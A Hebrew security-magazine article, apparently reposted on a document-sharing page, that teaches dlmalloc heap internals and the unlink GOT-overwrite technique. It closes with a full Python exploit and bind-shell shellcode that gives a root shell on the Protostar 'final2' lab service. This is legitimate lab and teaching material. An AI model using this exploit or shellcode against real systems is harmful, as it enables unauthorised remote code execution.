Unlink Exploitation - Heap Meta-Data Manipulation מאת שי ד. הקדמה ארכיטקטורת פון נוימן מוגדרת ע"י העובדה שגם שורות הקוד להרצה וגם המידע מאוחסנים בזיכר

גודל: px
התחל להופיע מהדף:

Download "Unlink Exploitation - Heap Meta-Data Manipulation מאת שי ד. הקדמה ארכיטקטורת פון נוימן מוגדרת ע"י העובדה שגם שורות הקוד להרצה וגם המידע מאוחסנים בזיכר"

תמליל

1 Unlink Exploitation - Heap Meta-Data Manipulation מאת שי ד. הקדמה ארכיטקטורת פון נוימן מוגדרת ע"י העובדה שגם שורות הקוד להרצה וגם המידע מאוחסנים בזיכרון. אי לכך חייבת להיות הפרדה בזיכרון בין קטעי זיכרון המכילים שורות קוד להרצה segment( )text לבין שאר קטעי הזיכרון המכילים מידע segment(.)data במערכות הפעלה מודרניות יש יותר מ- 2 קטעי זיכרון ואכן משתמשים בקטע זיכרון אחד שמכיל את שורות הקוד להרצה, אבל משתמשים ביותר מ- 3 קטעי זיכרון לניהול המידע. - Code/Text Segment מכיל את ההוראות להרצה. הוא ניתן רק לקריאה ולא לכתיבה - Data Segment מכיל משתנים סטטיים ומשתנים גלובליים מאותחלים - Bss Segment מכיל משתנים סטטיים ומשתנים גלובליים לא מאותחלים Last-In First- אחסון זמני לנתונים ולהעברת פרמטרים לפונקציות. עובדת בשיטת - Stack Segment Out והגודל של המחסנית נקבע ע"פ הצורך בשעת הקומפילציה - Heap Segment אחסון למידע שמוקצה באופן דינאמי )בשעת ריצה( והגודל שלו לא קבוע ומשתנה בהתאם לצורך הרבה מאמרים נכתבו על חולשות buffer overflow מבוססות מחסנית למיניהם, כמו המאמר המיתולוגי Smashing The Stack For Fun And Profit והמאמר המעולה של שי רוד Buffer overflows 101 מהגיליון האחד עשר של המגזין. במאמר זה אנו נסקור חולשה ביישום של הפונקציה free() שתאפשר לנו הרצת קוד מלאה.

2 The Heap נתחיל בהצגה של ה- Heap. הערמה )Heap( הינה קטע זיכרון לאחסון מידע שמוקצה באופן דינאמי. ניתן הפונקציונליות הזאת נעשית על ידי C להגדיר משתנה שרק בזמן הריצה יקבע הגודל שלו. בשפת הפונקציה המוכרת :malloc() הפונקציה תקצה גודל למשתנה על המחסנית בשעת הריצה בלבד. בגלל שאנו אחראים על קטע הזיכרון הזה, אנו צריכים גם כן לתפעל אותו ובמידה וסיימנו עם משתנה מסוים אנו צריכים לשחרר אותו בשביל לתת מקום למשתנים אחרים. פעולת השחרור נעשית על ידי הפונקציה :free() נכתוב קטע קוד קצר בשפת C שממחיש את העניין: void main() { unsigned int sz; char* name; printf("how long your name is: "); scanf("%d", &sz); name = (char*)malloc(sz); printf("%s", name); free(name); ביקשנו מהמשתמש להכניס את שמו באורך שיבחר ועל פי הקלט שלו אנו מקצים בהתאם בתים בזיכרון. לאחר שסיימנו להשתמש במשתנה הזה, שחררנו את הזיכרון. נבחן כעת איך הדברים עובדים מאחורי הקלעים. 2

3 איך הערימה עובדת? Dlmalloc - malloc.c implementation by Doug Lea בשביל לשנות את הגודל של הערמה )Heap( יש System Call הנקרא: brk() שמשנה את הגודל של קטע זיכרון. תיאור של הפונקציה מה- :Linux Manual ובנוסף יש System Call הנקרא mmap() היוצר מקטע זיכרון חדש. תיאור הפונקציה: האם בשביל להקצות משתנה חדש בערמה נצטרך להשתמש ב-() brk כל פעם בשביל להגדיל את הגודל שלה? זו בעיה מכיוון שזהו System call מאוד "בזבזני" מבחינת משאבים. כדי לפתור את הבעיה הנ"ל נוצרו פונקציות ניהול זיכרון בשפת.malloc() / calloc() / realloc() / free() :C הפונקציות הנ"ל בעצם משתמשות בשירות של ה- Calls System שהזכרנו. לדוגמא, הפונקציה malloc() מחלקת קטע זיכרון מאוד גדול שהובא על ידי קריאת המערכת brk() לחלקים ונותנת למשתמש חלק על פי הבקשה בפונקציה malloc() וכך בשעת הקריאה לפונקציה free() הפונקציה מחליטה ע"פ הבדיקות שלה, שבחלקן ניגע בהמשך, אם לחבר את חלק הזיכרון הזה לחלק אחר וכך להחזיק קטע זיכרון גדול או לשמור אותו בנפרד, ובכך מצמצמת בהרבה את השימוש בקריאת המערכת.brk() ישנם הרבה מימושים לפונקציות הנ"ל וישנן אף חברות שמשתמשות במימוש פרטי משלהן. במאמר זה נדון בחולשה שנמצא במימוש שהיה נפוץ בעבר, הנקרא dlmalloc על שמו של הכותב.Doug Lea נחזור לארגון הערמה :)Heap( ה- Heap מכילה בתוכה קטעי זיכרון בגדלים שונים. )הקטעים יכולים להיות קטעים בשימוש או קטעים פנויים. חלק מהקטעים הפנויים מוזגו לקטע גדול במידת הצורך(. הערמה שומרת גם כן מידע אודות ה- Chunk שהיא מחזיקה )Meta-data( כגון מיקום של ה- Chunks גודל של כל בלוק, גודל של בלוק קודם לפני ואחרי החלק המוקצה/הפנוי ומשתנים גלובליים. 3

4 Allocated Chunk: chunk -> prev_size 0x4 Bytes size 0x4 Bytes mem -> data n Byte :... : nextchunk -> prev_size... [Figure(1) - Allocated Chunk from dlmalloc source] 4 הבתים הראשונים מחזיקים את גודל הבלוק הקודם במידה והוא לא מוקצה ובמידה והוא כן מוקצה מקרא: הבתים האלה משמשים כחלק מה- Field Data של הבלוק הקודם. השאלה המתבקשת היא למה צריך בבלוק הנוכחי את הגודל של הבלוק הקודם - נענה על כך מיד. 4 בתים אחריהם מחזיקים את הגודל של הבלוק הנוכחי. שדה ה- mem זהו המצביע שאנו מקבלים כערך חזרה של קריאה לפונקציה :malloc() char *mem = (char*)malloc(16); // (mem) -> Points to the data field in the Chunk. // (mem -4) -> Points to the size field in the Chunk. // (mem -8) -> Points to the prev_size field in the Chunk. כל קריאה לפונקציה malloc() מיושרת )aligned( ל- 8 בתים, כלומר הגודל של כל בלוק בקריאה ל-() malloc הינו: (8 + (RequestedBytes / 8) * 8) מכאן יוצא שתמיד 3 הביטים הראשונים מאופסים ולכן משתמשים בהם בתור.Special Attributes void main() { char* mem; char* mem0; הביט הראשון נקרא - PREV_INUSE והוא מעיד אם הבלוק הקודם בשימוש או לא. הביט השני נקרא - IS_MAPPED - והוא מעיד אם הבלוק ממופה או לא. הביט השלישי - לא בשימוש. נבחן איך זה נראה בזיכרון על ידי הרצת התוכנית: )במימוש של )dlmalloc mem = (char*)malloc(0x80); mem0 = (char*)malloc(0x80); scanf("%s", mem); scanf("%s", mem0); free(mem); free(mem0); 4

5 נשים Breakpoint אחרי ה-() scanf הראשון ונמלא את הבלוק הראשון עם * 128 A ונראה את המצב ה-.Heap ניתן לראות שהערמה מתחילה עם 4 בתים שהם ה- Field Prev_Size והואיל וזה הבלוק הראשון אז הוא מאופס. )נזכיר: "4 הבתים הראשונים זה הגודל של הבלוק הקודם במידה והוא לא מוקצה, במידה והוא כן מוקצה הבתים האלה משמשים כחלק מה- Field Data של הבלוק הקודם."( לאחר מכן יש 4 בתים בעלי הערך: 0x89. כאמור הביט האחרון מעיד על ה- BIT PREV_INUSE 0x8 ועוד data של (128)0x80 הראשון הוא תמיד דלוק בבלוק הראשון. ו- 0x88 בתים שזה.Headers ובבלוק של ה- בבלוק השני ה- Headers. הראשון מאופס כי הבלוק הקודם בשימוש. הגודל הוא 0x89 מאותה סיבה של הבלוק הקודם, רק שהוא מאופס עם אפסים כי לא שמנו בו ערכים עדיין. עכשיו בואו נחשוב מה אנחנו היינו עושים אם אנחנו היינו צריכים לעשות את פעולת האלגוריתם. אם אנחנו צריכים לבצע את הפקודה הבאה:,free(currentChunk) קודם כל אנחנו צריכים לוודא שה-בלוק אכן בשימוש. נוודא זאת, כמו שראינו, על ידי הבדיקה של הבלוק הבא בזיכרון ואם הביט PREV_INUSE בשימוש. נגיע לבלוק הבא באמצעות ה- Field.Size לכן: nextchunk = currentchunk + (*(currentchunk-4) & ~0x1) ועכשיו נבדוק את הביט :PREV_INUSE iscurrentallocated = *(nextchunk-4) & 0x1 5

6 ברגע שהפונקציה free() מופעלת, יש מספק בדיקות ומשחררים את הבלוק הזה. מקרא: Free Chunk: chunk -> prev_size size mem -> fd bk (old memory, can be zero bytes) : : nextchunk -> prev_size... : : (Figure(2) Free Chunk from dlmalloc source) שדה ראשון: הגודל של הבלוק הקודם שדה שני: הגודל של הבלוק הנוכחי שדה שלישי: Forward Pointer שדה רביעי: Backward Pointer שדה חמישי: זיכרון ישן כמו שציינו הערמה )Heap( היא בעצם בריכה של זיכרון עם בלוקים מוגדרים של זיכרון. חלקם פנויים, חלק בשימוש וחלק בלוקים משוחררים בגדלים שונים. בשביל לתחזק את כל הבלוקים הפנויים שיש בבריכת הזיכרון הזאת קיימת רשימה מקושרת של בלוקים משוחררים, שבאמצעותה אם נרצה להקצות עוד בלוק זיכרון, ניתן לו קודם ממה ששוחרר כבר במידה ויש ושהוא בגודל המספיק. איך זה קורה: נראה את הרשימה המקושרת בזיכרון. נקצה 4 בלוקים של זיכרון בערמה ונכניס לתוכם ערכים. נשחרר קודם את הבלוק הראשון ואז את השלישי, הרביעי והראשון. בשביל שנוכל לראות את הקשר בין הבלוק הראשון לשלישי ובין השלישי לראשון לפני ה- Merge. נשים breakpoint בשורה 20 ונציג את הזיכרון: void main() { char* mem; char* mem0; char* mem1; char* mem2; mem = (char*)malloc(0x80); mem0 = (char*)malloc(0x80); mem1 = (char*)malloc(0x80); 6

7 mem2 = (char*)malloc(0x80); scanf("%s", mem); scanf("%s", mem0); scanf("%s", mem1); scanf("%s", mem2); free(mem); free(mem0); free(mem1); // <-- Lets set breakpoint here. free(mem2); 7

8 ה( נזכור כי בשלב זה של התוכנית הבלוק הראשון והשלישי משוחררים. ניתן לראות כי: Header- הרביעי בבלוק המשוחרר שמכיל )backward pointer פוינטר ל- 0x804a xC 0x804a110 )הבלוק השלישי שהוא משוחרר( ב- 0x804a x8 )ה- Header השלישי בבלוק המשוחרר שמכיל )forward pointer מצביע לכתובת זבל כי זה הבלוק הראשון ואין בלוק משוחרר לפניו ב- 0x8 0x804a110 + )ה- Header השלישי בבלוק המשוחרר שמכיל )forward pointer מצביע ל- 0x804a000 שזה הבלוק הפנוי הראשון ברשימה ב- 0x804a xC )ה- Header הרביעי בבלוק המשוחרר שמכיל )backward pointer שוב כתובת זבל כי זה הבלוק האחרון ברשימה של הבלוקים המשוחררים חדי עין ישימו לב שאף על פי ששיחררנו את הבלוק הראשון המצביע לבלוק השלישי הוא ה- backward pointer- ולא ה- pointer,forward כלומר שהרשימה המקושרת מתחילה מהסוף ככל שהבלוק המשוחרר נמצא עמוק יותר בערמה, כך הוא מופיע מוקדם יותר ברשימה )הבלוק הראשון בערמה במידה והוא משוחרר הוא ה- Tail (. זה נעשה כך לשם ייעול התהליך וכן, זה גם הגיוני על מנת "לסתום" חורים בזיכרון )ולצמצם את הערמה במידת הצורך(. עדיף לתת למשתמש קודם בלוקים משוחררים שהם בסוף הערמה, מאשר לתת לו את הבלוק הראשון ובשביל לא לרוץ כל פעם לסוף הרשימה בשביל להוציא בלוק, ניתן לו פשוט מההתחלה ונעדכן את ה- Head. בבלוק השני )המוקצה( ניתן לראות שב- Header הראשון יש שם 0x88 שזה הגודל של הבלוק הפנוי לפניו. ובכן ב- Header השני ניתן לראות שהביט של PREV_INUSE כבוי כי הבלוק לפניו לא בשימוש. וזו הרשימה המקושרת של הבלוקים המשוחררים שהערמה מחזיקה. 8

9 The Merge אם עשינו free(p) ו- p צמוד ל- p0 שהוא גם בלוק משוחרר, בשביל לשמור על מספר נמוך של בלוקים משוחררים לשימוש ומספר נמוך יותר של צמתים ברשימה המקושרת, יתבצע מיזוג בין שני הבלוקים במידה והם מעל 0x80. נראה את תהליך המיזוג בפועל, נשנה מעט את הקוד: void main() { char* mem0; char* mem1; char* mem2; char* mem3; char* mem4; mem0 = (char*)malloc(0x80);... scanf("%s", mem0);... free(mem0); free(mem3); free(mem2); // <-- Let's set breakpoint here. free(mem4); free(mem1); נשים Breakpoint ב-() free השלישי. מה שאנו אמורים לראות בזיכרון זה שהבלוק הראשון יצביע לבלוק הרביעי ולהפך. 9

10 ניתן לראות שה- bk של הבלוק הראשון אכן מצביע לבלוק הרביעי וה- fd של הרביעי מצביע לראשון. נריץ עוד שורה אחת בקוד שמשחררת גם את הבלוק השלישי ונראה את ה- Heap. הרשימה המקושרת השתנתה! ניתן כעת לראות: הבלוק הראשון מצביע כעת לבלוק השלישי )0x804a110( ולא לרביעי )0x804a198( כמו קודם. אין מצביע לבלוק הרביעי. הגודל של הבלוק השלישי השתנה מ- 0x89 ל- 0x111 למה זה קרה? כי בוצע מיזוג בין הבלוק השלישי לבלוק הרביעי. אם נבדוק ב- Source של dlmalloc בתהליך המיזוג, נראה את התנאי הבא: if (!nextinuse){ unlink(nextchunk,bk,fwd); size += nextsize; יש בקוד בדיקה אם הבלוק הבא לא בשימוש. במידה והוא משוחרר ברשימה אפשר לצרף אותו לבלוק הנוכחי. פעולה זו נעשית ע"י שליחה למאקרו unlink שתוציא אותו מהרשימה המקושרת ועדכון הגודל. 01

11 מה שנעשה: הוצאנו את הבלוק הרביעי מהרשימה כי הוא צמוד לבלוק השלישי שכעת שחררנו. עדכנו את הגודל מ- 0x89 -<0x111 שזה בעצם 0x89 + 0x88 )לא נשכח שהביט הראשון מכובה כי הבלוק הקודם משוחרר( #define unlink(p,bk,fd){ FD = P->fd; BK = P->bk; FD->bk = BK; BK->fd = FD; The Merge - Continue & The Vulnerable Macro המאקרו שראינו בתנאי הקודם המנתק בלוק מהרשימה ממומש כך: המאקרו ממש פשוט: (FD->bk = BK) => NextChunk+12 = CurrentChunk->PreviousChunk (BK->fd = FD) => PreviousChunk+8 = CurrentChunk->NextChunk )רשמתי +12 ו-)+ 8 ( בשביל להגיע ל- Headers הנכונים של Bk ו- fd (. בשביל להמחיש את זה בבירור, נריץ void main() { char* mem0;... char* mem6; mem0 = (char*)malloc(0x80);... scanf("%s", mem0);... את הקטע קוד הבא: free(mem0); free(mem3); free(mem5); free(mem2); // <-- 1st breakpoint here. free(mem4); // <-- 2nd breakpoint here

12 נעצור ב- breakpoint הראשון ונראה את מצב הערמה: הרשימה המקושרת הקלאסית שאנחנו אוהבים, בין הבלוק הראשון לרביעי לשישי. 02

13 נעצור עכשיו ב- breakpoint השני: אנו רואים: 03

14 הבלוק הראשון והשישי כבר לא מצביעים לבלוק הרביעי, השלישי לרביעי. אלא יש מצביעים ביניהם, ויש מיזוג בין הבלוק (FD->bk = BK) => NextChunk(mem0)->pointerToBK = CurrentChunk(mem3)- >PreviousChunk(mem5) (BK->fd = FD) => PreviousChunk(mem5)->pointerToFD = CurrentChunk(mem3)- >NextChunk(mem0) יש לזכור שככל שהבלוק קודם בערמה הוא הבלוק האחרון ברשימה המקושרת. אתם מצליחים להבין את הבאג פה? מה היה קורה אם היינו יכול להפוך את זה ל: FD->bk = BK [Global Offset Table Address] = [Wanted Function Addr] BK->fd = FD [Wanted Function Addr] = [Global Offset Table Address] Global Offset Table Global offset Table או בקיצור GOT היא טבלה שמכילה מצביעים לפונקציות שיש לנו בתוכנית. לא אתייחס לצורך בה, אוסיף מקורות להרחבת הנושא למטה. מה שחשוב לנו בGOT - לענייננו הוא שאם קראנו לפונקציה printf ע"י.call 0x הכתובת הזאת היא לא הכתובת של הפונקציה בזיכרון, אלא זו כתובת למיקום בטבלת ה- GOT ששם יש מצביע לכתובת printf() כלומר: 0x > 0xSomeAddr -> printf Addr ואם נשנה את הערך של 0xSomeAddr לכתובת של פונקציה אחרת, כשנריץ את השורה,call 0x זה יקפוץ לפונקציה שאנחנו בחרנו. אי אפשר לשים סתם כתובת של פונקציה, שימו לב לשורה הבאה: BK->fd = FD [Wanted Function Addr] = [Global Offset Table Address] זה יגרוס כתובת של פונקציה וכתובות של פונקציות נמצאות ב- Segment Text וזה קטע קוד שלא ניתן לכתוב עליו. מה שכן ניתן לעשות זה להשתמש ב- Heap כדי להכניס לשם Shellcode ואז לשלוח לפונקציה את הכתובת שלו. אם לדוגמא הצלחנו לשנות את ה- 0xC GOT s printf Address - ל- Shellcode שלנו, כל פעם שתהיה בתוכנית קריאה לפונקציה printf() זה יריץ את ה-!Shellcode הערה: חשוב לא לשכוח -0xC כי זה מוסיף אוטומטית +12 במאקרו בשביל להגיע ל- header.bk (FD->bk = BK) => NextChunk+12 = CurrentChunk->PreviousChunk (BK->fd = FD) => PreviousChunk+8 = CurrentChunk->NextChunk 04

15 איך נבצע זאת? בשביל להגיע לפונקציה הזאת ולבצע את שינוי הכתובות אנחנו צריכים לגרום לפונקציה free() לעבד בלוק שה- FD שלו יהיה הכתובת שאנו רוצים לגרוס Address( )Got ו- BK עם הכתובת שאנחנו רוצים לגרוס )כתובת שנמצאת בערמה ומכילה את ה- Shellcode (. נחזור ל- source :dlmalloc if (!prev_inuse(p)) { prevsize = p->prev_size; size += prevsize; p = chunk_at_offset(p, -((long) prevsize)); unlink(p, bck, fwd);... if (!nextinuse) { unlink(nextchunk, bck, fwd); size += nextsize; אנו צריכים לקיים את אחד התנאים בשביל להפעיל את המאקרו הבעייתי עם הערכים שנרצה. אנו צריכים לגרום לפונקציה לחשוב שהבלוק הנוכחי פנוי - ונעשה את זה ע"י השמה של ערך זוגי ב- Size של הבלוק הבא. בערכים שנציב צריך גם שה- prev_size וגם ה- size של הבלוק הבא יהיו בעלי ערך לא גדול מידי כי ב- free( ) יש מקומות שהוא מוסיף אותם ואם יהיה ערך גדול מידי זה יצביע למקום לא תקף מבחינת זיכרון ויגרום ל- fault.segmentation אם נצמד למימוש של Solar Designer נשתמש ב- 0xFFFFFFFC הנפוץ )יש הרבה מימושים שונים לניצול הבעייתיות פה(: ערך זוגי בלי Null-bytes לא מספר גדול מידי מה שיקרה: כשהאלגוריתם ירצה לבדוק אם הבלוק הנוכחי פנוי הוא ייגש ל- Header Size של הבלוק הבא ויבדוק את הביט הראשון שלו ובגלל שהערך ששמנו זה - 4 )0xFFFFFFFC( הוא ייגש ל- prev_size של הבלוק הנוכחי שהביט של ה- prev_inuse יהיה מכובה כי שמנו שם ערך של - 4 )0xFFFFFFFC( האקספלויט יראה ככה: [Previous Chunk With Shellcode][0xFFFFFFFC][0xFFFFFFFC][Global offset table][shellcode Location] "עבדנו" על הפונקציה והחלפנו את הבלוק הבא בבלוק הנוכחי שהוא תחת שליטתנו המלאה כשנציף את הבלוק הראשון. 05

16 זה יראה ככה: סיכום החלק התיאורטי מה עשינו עד כה? התייחסנו בהתחלה לסוגים שונים של קטעי זיכרון במערכות הפעלה המודרניות למדנו על ה- Heap, חקרנו את malloc.c במימוש של Doug Lea ואיך מוצגים בלוקים במימוש הזה התייחסנו להבדל בין בלוק משוחרר לבלוק מוקצה למדנו על Special Attributes של ה- Headers השונים של הבלוקים ראינו בזיכרון את הרשימה המקושרת של הבלוקים המשוחררים וראינו את תהליך המיזוג של בלוקים בפועל חקרנו את המימוש של הפונקציה free( ) וראינו את הבעייתיות במימוש הזה לבסוף הסברנו איך ניתן להשתמש בבעייתיות הזאת ול"עבוד" על הפונקציה free( ) ולגרום לתוכנית להריץ Shellcode 06

17 Implementation בשביל להבין את הנושא לעומק נפתור את אתגר מהאתר.Exploit-exercises.com אתר זה מספק מספר מכונות וירטואליות להורדה עם אתגרים והסבר על האתגרים במספר רחב של נושאים בהם: privilege.escalation, vulnerability analysis, exploit development, reverse engineering יש באתר 4 מכונות להורדה )בכתובת,) כאשר כל מכונה מתמקדת בתחום אחר. המכונה שאנחנו נעבוד עליה מתמקדת ב- development exploit ללא הגנות מודרניות. זה הבסיס למכונה הבאה Fusion שזה exploit development ו- mechanism bypass anti-exploitation כמו ASLR,DEP,SSP ועוד. אנו נתמקד באתגר האחרון של המכונה.Final2 - protostar האתגר הוא.Remote Heap Exploitation האתגר שנפתור הינו:. באתר הם לא מפרטים יותר מידי, אבל יש את ה- Source של האתגר, וניתן לראות שאנחנו צריכים להתחבר לתוכנה מרחוק על ידי פורט int get_requests(int fd) { char *buf; char *destroylist[256]; int dll; int i; dll = 0; while(1) { if(dll >= 255) break; buf = calloc(reqsz, 1); if(read(fd, buf, REQSZ)!= REQSZ) break; if(strncmp(buf, "FSRD", 4)!= 0) break; check_path(buf + 4); dll++; for(i = 0; i < dll; i++) { write(fd, "Process OK\n", strlen("process OK\n")); free(destroylist[i]); ניתן לראות מהקוד כי לתוכנית יש שתי בדיקות )בפונקציה )get_requests( ) שצריך לקיים בשביל לא לצאת מהתוכנית: הקלט צריך להיות בדיוק 128 בתים. הקלט צריך להתחיל עם המחרוזת. FSRD 07

18 אחרי שנעבור את שתי הבדיקות האלה נגיע לפונקציה :check_path( ) void check_path(char *buf) { char *start; char *p; int l; /* * Work out old software bug */ p = rindex(buf, '/'); l = strlen(p); if(p) { start = strstr(buf, "ROOT"); if(start) { while(*start!= '/') start--; memmove(start, p, l); printf("moving from %p to %p (exploit: %s / %d)\n", p, start, start < buf?"yes" : "no", start - buf); 1. הפונקציה מחפשת את התו / האחרון בקלט שומרת את האורך של המחרוזת עד התו מסעיף 1. מחפשת את המילה ROOT בקלט. מחפשת את התו / הראשון לפני המילה.ROOT כאשר היא מוצאת אחד כזה היא מעתיקה את המחרוזת מסעיף 1 למחרוזת )המחרוזת אחרי ה- / האחרון( למחרוזת מסעיף 3 )גורסת את המילה )ROOT מה החולשה פה? במידה ונשלח קלט שיעמוד בכל התנאים, הוא ישב לו ב- Heap ואז נשלח עוד קלט אבל לא נשלח / לפני המילה,ROOT זה ימשיך לחפש את התו באזור הזיכרון של ההודעה הראשונה ואז עקב סעיף 5, נצליח לשנות data מה- heap. נחשוב על זה כך: אם לא יהיה / לפני ה- ROOT, אבל יהיה ממש בסוף ההודעה הראשונה, המידע שייכתב עקב סעיף 5 ישנה את ה- prev_size Size & של הבלוק המכיל את ההודעה הנוכחית! ההודעה הראשונה תהיה: ההודעה השנייה תהיה: FSRD/ROOT/Shellcode(Padding*(128 - len(shellcode - 11))/ FSRDROOT/[0xFFFFFFFC][0xFFFFFFFC][Function Addr in GOT - 12][Shellcode Addr in Heap] אם נחזור ל- Source נוכל לראות שיש את הפונקציה write( ) שהכתובת שלה היא:.0x0804d41C נוריד מזה 12 בתים והגענו לכתובת: 0x0804D410 א. 08

19 8 נחנו צריכים: ליצור תקשורת למכונה שעליה האתגר, במקרה שלי בפורט ליצור Shellcode בתים. ל- Heap, להכניס אותו לקלט הראשון ליצור בלוק אחר, שלא יעבור את ה- 128 בתים, ושיכיל את ה- Shellcode שלנו. ולשמור את הכתובת שלו בערמה פחות להכין את הבלוק השני שידרוס את ה-הHeaders עם הערכים הרצויים לאקספלויט. להריץ ולבדוק מה קרה בשרת. שימו לב שפה אנו נפעיל את התנאי של הראשון של המיזוג, כלומר מיזוג עם הבלוק הקודם, אבל המימוש import socket import struct import time נשאר זהה. הנה ה- :POC # Where our ShellCode Laies: HeapAddr = struct.pack("i", 0x0804e014) # Write's GOT Addr - 0xC WritAddr = struct.pack("i", 0x0804d410) # Size of Faking Chunks. Prev_Size = struct.pack("i", 0xfffffffc) Size = struct.pack("i", 0xfffffffc) # Shellcode opens port on Shellcode from : Shellcode = "\x31\xc0\x31\xdb\x50\xb0\x66\xb3\x01\x53\x6a\x02\x89" Shellcode += "\xe1\xcd\x80\x89\xc6\x31\xd2\x52\x66\x68\x11\x5c\x66" Shellcode += "\x6a\x02\x89\xe1\xb0\x66\xb3\x02\x6a\x10\x51\x56\x89" Shellcode += "\xe1\xcd\x80\xb0\x66\xb3\x04\x52\x56\x89\xe1\xcd\x80" Shellcode += "\xb0\x66\xb3\x05\x52\x52\x56\x89\xe1\xcd\x80\x89\xc3" Shellcode += "\x31\xc9\xb1\x03\xb0\x3f\xcd\x80\xfe\xc9\x79\xf8\xb0" Shellcode += "\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89" Shellcode += "\xe3\x52\x53\x89\xe1\xcd\x80" # Connection to the Server. s = socket.socket(socket.af_inet,socket.sock_stream) s.connect((" ", 2993)) # The payload must contian FSRD or it will exit. MustWord = 'FSRD' NopLength = (125 - ((len(mustword)) + len ("/ROOT/") + len(shellcode))) NopSlide = '\x90' * (NopLength - 1) # -1 because we use '/' in the end. FirstChunk = MustWord + "/ROOT/" + NopSlide + Shellcode + 'AAA/' # Padding & '/' print '[+] Sending First Chunk' s.send(firstchunk) time.sleep(2) print '[+] Generating The Malicious Chunk' 09

20 # The Malicious Chunk, MustWord + ROOT/ so it wont exit, Fake Addrs * 2 + Address. + Padding to complete to 128 MalChunk = MustWord + 'ROOT/' +Prev_Size + Size + WritAddr + HeapAddr + 'D' * 128 MalChunk = MalChunk[:128] # Length must be 128. print '[+] Sending Malicious Chunk' s.send(malchunk) time.sleep(2) print '[-] Closing connection...' s.close() # Connecting to the server as ROOT. Shell = socket.socket(socket.af_inet,socket.sock_stream) Shell.connect((" ", 4444)) Shell.send("whoami\n") data = Shell.recv(999) if data == "root\n": print "[+] OWNED!" else: print "[-] FAILED!" while True: cmd = raw_input("# ") Shell.send(cmd+'\n') print Shell.recv(999) והתוצאה: הרשאות root מלאות. 21

21 דברי סיכום אומנם ברוב המערכות כבר לא משתמשים במימוש של Doug lea וגם אם כבר כנראה בגרסה המעודכנת שלו, אבל זו עדיין חולשה מאוד מעניינת וכדאי להכיר אותה. אני רוצה להאמין שלמדנו מהמאמר הזה איך לחקור קטע או פונקציונליות כלשהי ואיך להגיע ממחקר דרך חשיבה עד ל- concept.proof on I hope I managed to prove that exploiting buffer overflows should be an art (Solar Designer) על המחבר: שי ד. בן 20 אוהב ללמוד כל תחום טכנולוגי שהוא, בעיקר Exploitation development 0xOfficialSnd@gmail.com אשמח לעזור בכל שאלה או התייעצות ב:.Engineering ו- Reverse היה לי חשוב לתרום למגזין שתרם לי רבות בפן הטכנולוגי ונותן לי ציפייה לסוף החודש, לאפיק וניר על העבודה ותודה לרועי י, על העזרה והלמידה המשותפת. תודה כמובן מקורות להרחבה: על : GOT :Dlmalloc implementation The shellcoder s handbook 2 nd edition Chapter 5 Introduction to heap overflows once upon a free 20

PowerPoint Presentation

PowerPoint Presentation מבוא למדעי המחשב תירגול 6: כתובות ומצביעים 1 תוכנייה מצביעים מצביעים ומערכים, אריתמטיקה של מצביעים 2 3 מצביעים תזכורת- כתובות זיכרון הזיכרון כתובת התא #1000 #1004 #1008 ערך השמור בתא תא 10-4 לא מאותחל

קרא עוד

PRESENTATION NAME

PRESENTATION  NAME נכתב ע"י כרמי גרושקו. כל הזכויות שמורות 2010 הטכניון, מכון טכנולוגי לישראל הקצאה דינמית )malloc( מערכים דו-מימדיים סיבוכיות: ניתוח כזכור, כדי לאחסן מידע עלינו לבקש זכרון ממערכת ההפעלה. 2 עד עכשיו: הגדרנו

קרא עוד

פתרון מוצע לבחינת מה"ט ב_שפת c מועד ב אביב תשע"ט, אפריל 2019 מחברת: גב' זהבה לביא, מכללת אורט רחובות שאלה מספר 1 מוגדרת מחרוזת המורכבת מהספרות 0 עד 9.

פתרון מוצע לבחינת מהט ב_שפת c מועד ב אביב תשעט, אפריל 2019 מחברת: גב' זהבה לביא, מכללת אורט רחובות שאלה מספר 1 מוגדרת מחרוזת המורכבת מהספרות 0 עד 9. פתרון מוצע לבחינת מה"ט ב_שפת c מועד ב אביב תשע"ט, אפריל 2019 מחברת: גב' זהבה לביא, מכללת אורט רחובות שאלה מספר 1 מוגדרת מחרוזת המורכבת מהספרות 0 עד 9. הדפסה ראשונה: מתבצעת לולאה שרצה מאפס עד אורך המחרוזת.

קרא עוד

סדנת תכנות ב C/C++

סדנת תכנות ב   C/C++ פקולטה: מדעי הטבע מחלקה: מדעי המחשב שם הקורס: מבוא למחשבים ושפת C קוד הקורס: 2-7028510 תאריך בחינה: 15.2.2017 משך הבחינה: שעתיים שם המרצה: ד"ר אופיר פלא חומר עזר: פתוח שימוש במחשבון: לא הוראות כלליות:

קרא עוד

Slide 1

Slide 1 מבוא למדעי המחשב תירגול 7: פונקציות 1 מה היה שבוע שעבר? לולאות מערכים מערכים דו-ממדיים 2 תוכנייה )call by value( פונקציות העברת פרמטרים ע"י ערך תחום הגדרה של משתנה מחסנית הקריאות 3 פונקציות 4 הגדרה של

קרא עוד

Slide 1

Slide 1 מבוא למדעי המחשב תירגול 4: משתנים בוליאניים ופונקציות מבוא למדעי המחשב מ' - תירגול 4 1 משתנים בוליאניים מבוא למדעי המחשב מ' - תירגול 4 2 ערכי אמת מבחינים בין שני ערכי אמת: true ו- false לכל מספר שלם ניתן

קרא עוד

Microsoft Word B

Microsoft Word B מרצה: שולי וינטנר. מתרגל: שלמה יונה מבוא למדעי המחשב מועד ב', סמסטר א' תשס"ג, 17/2/03 משך המבחן: שעתיים וחצי. חומר עזר: מותר כל חומר עזר, מלבד מחשב. הנחיות: 1. ודאו כי בטופס שבידיכם 8 עמודים. יש לכתוב

קרא עוד

הגשה תוך שבוע בשעת התרגול

הגשה תוך שבוע בשעת התרגול מרצה: שולי וינטנר. מתרגל: שלמה יונה מבוא למדעי המחשב מועד ב', סמסטר א' תשס"ג, 17/2/03 משך המבחן: שעתיים וחצי. חומר עזר: מותר כל חומר עזר, מלבד מחשב. הנחיות: ודאו כי בטופס שבידיכם 8 עמודים. יש לכתוב את

קרא עוד

מבוא למדעי המחשב - חובלים

מבוא למדעי המחשב - חובלים החוג למדעי המחשב אוניברסיטת חיפה מבוא למדעי המחשב סמסטר א' תשע"ג בחינת סיום, מועד ב', 20.02.2013 מרצה: ריטה אוסדצ'י מתרגלת: נעמה טוויטו מדריך מעבדה: מחמוד שריף משך המבחן: שעתיים חומר עזר: ספר של Kernighan

קרא עוד

Slide 1

